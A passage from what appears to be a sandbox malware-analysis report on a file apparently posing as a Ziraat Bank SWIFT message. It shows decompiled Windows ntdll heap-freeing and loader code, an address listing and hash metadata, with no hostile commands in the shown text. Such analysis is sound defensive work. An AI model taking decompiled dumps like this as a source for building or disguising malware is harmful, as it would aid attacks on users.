								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E0129BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E0133A80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E0129A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								L0129A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E012CD540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E0127B150();
								} else {
									E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x1366378 = 1;
									asm("int3");
									 *0x1366378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E0132FA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E0133A80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E012CD540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E0127B150();
													} else {
														E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x1366378 = 1;
														asm("int3");
														 *0x1366378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E0129A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										L0129A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E0129BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E0133A80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E012CD540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E0127B150();
													} else {
														E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x1366378 = 1;
														asm("int3");
														 *0x1366378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E0129A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										L0129A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E0129BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E0129BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}




















































































                                                                        0x012999ca
                                                                        0x012999cc
                                                                        0x012999df
                                                                        0x012999e3
                                                                        0x012999f8
                                                                        0x012999fb
                                                                        0x012999fb
                                                                        0x00000000
                                                                        0x01299a48
                                                                        0x01299a48
                                                                        0x01299a4c
                                                                        0x01299a51
                                                                        0x01299a55
                                                                        0x01299a61
                                                                        0x01299a66
                                                                        0x01299a68
                                                                        0x012e1457
                                                                        0x012e145c
                                                                        0x012e145c
                                                                        0x01299a68
                                                                        0x01299a6e
                                                                        0x01299a71
                                                                        0x01299a74
                                                                        0x01299a76
                                                                        0x012e1466
                                                                        0x012e1469
                                                                        0x012e1469
                                                                        0x012e146c
                                                                        0x012e146e
                                                                        0x012e1471
                                                                        0x012e1474
                                                                        0x012e1477
                                                                        0x012e1479
                                                                        0x012e159c
                                                                        0x012e159c
                                                                        0x012e159d
                                                                        0x012e15a6
                                                                        0x012e15ab
                                                                        0x012e15ab
                                                                        0x00000000
                                                                        0x012e15ab
                                                                        0x012e147f
                                                                        0x012e1481
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e148a
                                                                        0x012e148d
                                                                        0x012e1493
                                                                        0x012e1495
                                                                        0x012e14c0
                                                                        0x012e14c0
                                                                        0x012e14c3
                                                                        0x012e14c6
                                                                        0x012e14c8
                                                                        0x012e14cb
                                                                        0x012e14cf
                                                                        0x012e14f2
                                                                        0x012e14f2
                                                                        0x012e14f5
                                                                        0x012e14f8
                                                                        0x012e1501
                                                                        0x012e1508
                                                                        0x012e150b
                                                                        0x012e150e
                                                                        0x012e1510
                                                                        0x012e1513
                                                                        0x012e1515
                                                                        0x012e1515
                                                                        0x012e1518
                                                                        0x012e1518
                                                                        0x012e1513
                                                                        0x012e1521
                                                                        0x012e1525
                                                                        0x012e152a
                                                                        0x012e152d
                                                                        0x012e1530
                                                                        0x012e1532
                                                                        0x012e1539
                                                                        0x012e153d
                                                                        0x012e155d
                                                                        0x012e1562
                                                                        0x012e153f
                                                                        0x012e1555
                                                                        0x012e155a
                                                                        0x012e1570
                                                                        0x012e1577
                                                                        0x012e157c
                                                                        0x012e1582
                                                                        0x012e1585
                                                                        0x012e1589
                                                                        0x012e158b
                                                                        0x012e1592
                                                                        0x012e1593
                                                                        0x012e1593
                                                                        0x012e1589
                                                                        0x012e1530
                                                                        0x00000000
                                                                        0x012e14f8
                                                                        0x012e14d5
                                                                        0x012e14da
                                                                        0x012e14dc
                                                                        0x00000000
                                                                        0x012e14de
                                                                        0x012e14e8
                                                                        0x00000000
                                                                        0x012e14e8
                                                                        0x012e1497
                                                                        0x012e1497
                                                                        0x012e14a4
                                                                        0x012e14a4
                                                                        0x012e14a7
                                                                        0x012e14a9
                                                                        0x012e14ab
                                                                        0x012e14ab
                                                                        0x012e149c
                                                                        0x012e149e
                                                                        0x012e14a0
                                                                        0x012e14b0
                                                                        0x012e14b0
                                                                        0x00000000
                                                                        0x012e14a2
                                                                        0x012e14a2
                                                                        0x00000000
                                                                        0x012e14a2
                                                                        0x012e14a0
                                                                        0x012e14b3
                                                                        0x012e14bb
                                                                        0x00000000
                                                                        0x012e14bb
                                                                        0x012e1495
                                                                        0x01299a7c
                                                                        0x01299a7c
                                                                        0x01299a7f
                                                                        0x01299a7f
                                                                        0x01299a82
                                                                        0x01299a84
                                                                        0x01299a87
                                                                        0x01299a8a
                                                                        0x01299a8d
                                                                        0x01299a8f
                                                                        0x012e166a
                                                                        0x012e166a
                                                                        0x012e166b
                                                                        0x012e1674
                                                                        0x00000000
                                                                        0x012e1674
                                                                        0x01299a95
                                                                        0x01299a97
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01299aa0
                                                                        0x01299aa3
                                                                        0x01299aa9
                                                                        0x01299aab
                                                                        0x01299ad7
                                                                        0x01299ad7
                                                                        0x01299ada
                                                                        0x01299add
                                                                        0x01299adf
                                                                        0x01299ae2
                                                                        0x01299ae6
                                                                        0x01299b22
                                                                        0x01299b27
                                                                        0x01299b29
                                                                        0x00000000
                                                                        0x01299b2b
                                                                        0x012e15be
                                                                        0x00000000
                                                                        0x012e15be
                                                                        0x01299b29
                                                                        0x01299ae8
                                                                        0x01299ae8
                                                                        0x01299aeb
                                                                        0x01299aee
                                                                        0x012e15cb
                                                                        0x012e15d2
                                                                        0x012e15d5
                                                                        0x012e15d7
                                                                        0x012e15da
                                                                        0x012e15dc
                                                                        0x012e15dc
                                                                        0x012e15dc
                                                                        0x012e15da
                                                                        0x012e15e5
                                                                        0x012e15e9
                                                                        0x012e15ee
                                                                        0x012e15f1
                                                                        0x012e15f3
                                                                        0x012e15f9
                                                                        0x012e1600
                                                                        0x012e1604
                                                                        0x012e1624
                                                                        0x012e1629
                                                                        0x012e1606
                                                                        0x012e161c
                                                                        0x012e1621
                                                                        0x012e1637
                                                                        0x012e163e
                                                                        0x012e1643
                                                                        0x012e1649
                                                                        0x012e164c
                                                                        0x012e1650
                                                                        0x012e1656
                                                                        0x012e165d
                                                                        0x012e165e
                                                                        0x012e165e
                                                                        0x012e1650
                                                                        0x012e15f3
                                                                        0x01299af4
                                                                        0x01299af7
                                                                        0x01299afc
                                                                        0x01299b00
                                                                        0x01299b04
                                                                        0x01299b08
                                                                        0x01299b14
                                                                        0x012999fe
                                                                        0x01299a04
                                                                        0x01299a07
                                                                        0x00000000
                                                                        0x01299a29
                                                                        0x012e169c
                                                                        0x012e16a0
                                                                        0x012e16a5
                                                                        0x012e16a9
                                                                        0x012e16b5
                                                                        0x012e16ba
                                                                        0x012e16bc
                                                                        0x012e16be
                                                                        0x012e16c3
                                                                        0x012e16c3
                                                                        0x012e16bc
                                                                        0x012e16c8
                                                                        0x012e16cc
                                                                        0x012e181b
                                                                        0x012e181b
                                                                        0x012e181e
                                                                        0x012e181e
                                                                        0x012e1821
                                                                        0x012e1823
                                                                        0x012e1826
                                                                        0x012e1829
                                                                        0x012e182c
                                                                        0x012e182e
                                                                        0x012e1688
                                                                        0x012e1688
                                                                        0x012e1689
                                                                        0x012e168b
                                                                        0x012e168c
                                                                        0x012e168d
                                                                        0x012e168f
                                                                        0x012e1692
                                                                        0x00000000
                                                                        0x012e1692
                                                                        0x012e1834
                                                                        0x012e1836
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e183f
                                                                        0x012e1842
                                                                        0x012e1848
                                                                        0x012e184a
                                                                        0x012e1875
                                                                        0x012e1875
                                                                        0x012e1878
                                                                        0x012e187b
                                                                        0x012e187d
                                                                        0x012e1880
                                                                        0x012e1884
                                                                        0x012e18a7
                                                                        0x012e18a7
                                                                        0x012e18aa
                                                                        0x012e18ad
                                                                        0x012e18b6
                                                                        0x012e18bd
                                                                        0x012e18c0
                                                                        0x012e18c3
                                                                        0x012e18c5
                                                                        0x012e18c8
                                                                        0x012e18ca
                                                                        0x012e18ca
                                                                        0x012e18cd
                                                                        0x012e18cd
                                                                        0x012e18c8
                                                                        0x012e18d5
                                                                        0x012e18da
                                                                        0x012e18df
                                                                        0x012e18e2
                                                                        0x012e18e5
                                                                        0x012e18e7
                                                                        0x012e18ee
                                                                        0x012e18f2
                                                                        0x012e1912
                                                                        0x012e1917
                                                                        0x012e18f4
                                                                        0x012e190a
                                                                        0x012e190f
                                                                        0x012e1925
                                                                        0x012e192c
                                                                        0x012e1931
                                                                        0x012e193a
                                                                        0x012e193e
                                                                        0x012e1940
                                                                        0x012e1947
                                                                        0x012e1948
                                                                        0x012e1948
                                                                        0x012e193e
                                                                        0x012e18e5
                                                                        0x012e194f
                                                                        0x012e1952
                                                                        0x012e1956
                                                                        0x012e195d
                                                                        0x012e1961
                                                                        0x012e196d
                                                                        0x00000000
                                                                        0x012e196d
                                                                        0x012e188a
                                                                        0x012e188f
                                                                        0x012e1891
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e189d
                                                                        0x00000000
                                                                        0x012e189d
                                                                        0x012e184c
                                                                        0x012e1859
                                                                        0x012e1859
                                                                        0x012e185c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e1851
                                                                        0x012e1853
                                                                        0x012e1855
                                                                        0x012e1865
                                                                        0x012e1865
                                                                        0x012e1866
                                                                        0x012e1868
                                                                        0x012e1870
                                                                        0x00000000
                                                                        0x012e1870
                                                                        0x012e1857
                                                                        0x012e1857
                                                                        0x012e185e
                                                                        0x00000000
                                                                        0x012e16d2
                                                                        0x012e16d2
                                                                        0x012e16d5
                                                                        0x012e16d5
                                                                        0x012e16d8
                                                                        0x012e16da
                                                                        0x012e16dd
                                                                        0x012e16e0
                                                                        0x012e16e3
                                                                        0x012e16e5
                                                                        0x012e1808
                                                                        0x012e1808
                                                                        0x012e1809
                                                                        0x012e1812
                                                                        0x012e1817
                                                                        0x012e1817
                                                                        0x00000000
                                                                        0x012e1817
                                                                        0x012e16eb
                                                                        0x012e16ed
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e16f6
                                                                        0x012e16f9
                                                                        0x012e16ff
                                                                        0x012e1701
                                                                        0x012e172c
                                                                        0x012e172c
                                                                        0x012e172f
                                                                        0x012e1732
                                                                        0x012e1734
                                                                        0x012e1737
                                                                        0x012e173b
                                                                        0x012e175e
                                                                        0x012e175e
                                                                        0x012e1761
                                                                        0x012e1764
                                                                        0x012e176d
                                                                        0x012e1774
                                                                        0x012e1777
                                                                        0x012e177a
                                                                        0x012e177c
                                                                        0x012e177f
                                                                        0x012e1781
                                                                        0x012e1781
                                                                        0x012e1784
                                                                        0x012e1784
                                                                        0x012e177f
                                                                        0x012e178c
                                                                        0x012e1791
                                                                        0x012e1796
                                                                        0x012e1799
                                                                        0x012e179c
                                                                        0x012e179e
                                                                        0x012e17a5
                                                                        0x012e17a9
                                                                        0x012e17c9
                                                                        0x012e17ce
                                                                        0x012e17ab
                                                                        0x012e17c1
                                                                        0x012e17c6
                                                                        0x012e17dc
                                                                        0x012e17e3
                                                                        0x012e17e8
                                                                        0x012e17ee
                                                                        0x012e17f1
                                                                        0x012e17f5
                                                                        0x012e17f7
                                                                        0x012e17fe
                                                                        0x012e17ff
                                                                        0x012e17ff
                                                                        0x012e17f5
                                                                        0x012e179c
                                                                        0x00000000
                                                                        0x012e1764
                                                                        0x012e1741
                                                                        0x012e1746
                                                                        0x012e1748
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e1754
                                                                        0x00000000
                                                                        0x012e1754
                                                                        0x012e1703
                                                                        0x012e1710
                                                                        0x012e1710
                                                                        0x012e1713
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e1708
                                                                        0x012e170a
                                                                        0x012e170c
                                                                        0x012e171c
                                                                        0x012e171c
                                                                        0x012e171d
                                                                        0x012e171f
                                                                        0x012e1727
                                                                        0x00000000
                                                                        0x012e1727
                                                                        0x012e170e
                                                                        0x012e170e
                                                                        0x012e1715
                                                                        0x00000000
                                                                        0x012e1715
                                                                        0x012e16cc
                                                                        0x01299a45
                                                                        0x01299a45
                                                                        0x01299a0e
                                                                        0x01299a1c
                                                                        0x01299a23
                                                                        0x012e167e
                                                                        0x012e167f
                                                                        0x012e1681
                                                                        0x012e1683
                                                                        0x012e1684
                                                                        0x00000000
                                                                        0x012e1684
                                                                        0x00000000
                                                                        0x01299aad
                                                                        0x01299aad
                                                                        0x01299ab0
                                                                        0x01299ab3
                                                                        0x01299ab3
                                                                        0x01299ab6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01299ab8
                                                                        0x01299aba
                                                                        0x01299abc
                                                                        0x01299ac8
                                                                        0x01299ac8
                                                                        0x00000000
                                                                        0x01299abe
                                                                        0x01299abe
                                                                        0x01299ac0
                                                                        0x00000000
                                                                        0x01299ac0
                                                                        0x01299abc
                                                                        0x01299ad2
                                                                        0x00000000
                                                                        0x01299ad2
                                                                        0x01299aab

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                                        • API String ID: 0-3178619729
                                                                        • Opcode ID: 922544a561b34c7f32ef6a69528f9ea335f23ba8b938363d7c77d627f909ecb0
                                                                        • Instruction ID: 98a289bb3414e9ce954b553d00703b6378745be49dd1faa1c9b3d9d242dd7301
                                                                        • Opcode Fuzzy Hash: 922544a561b34c7f32ef6a69528f9ea335f23ba8b938363d7c77d627f909ecb0
                                                                        • Instruction Fuzzy Hash: AF221570A202429FEB25CF2DC489B7ABBF5EF44704F28856DE9468B342E775D891CB50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01288794 Relevance: 4.0, Strings: 3, Instructions: 255COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 83%
                                                                        			E01288794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E0128934A() != 0) {
								_t159 = E012FA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x1365780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x1365780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E0128849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E01288999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E01288999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x1365c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x1365c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E01292280(_t92, 0x13686cc);
															_t94 = E01349DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E012A61A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x1365c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E01288A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x1365c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x1365c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
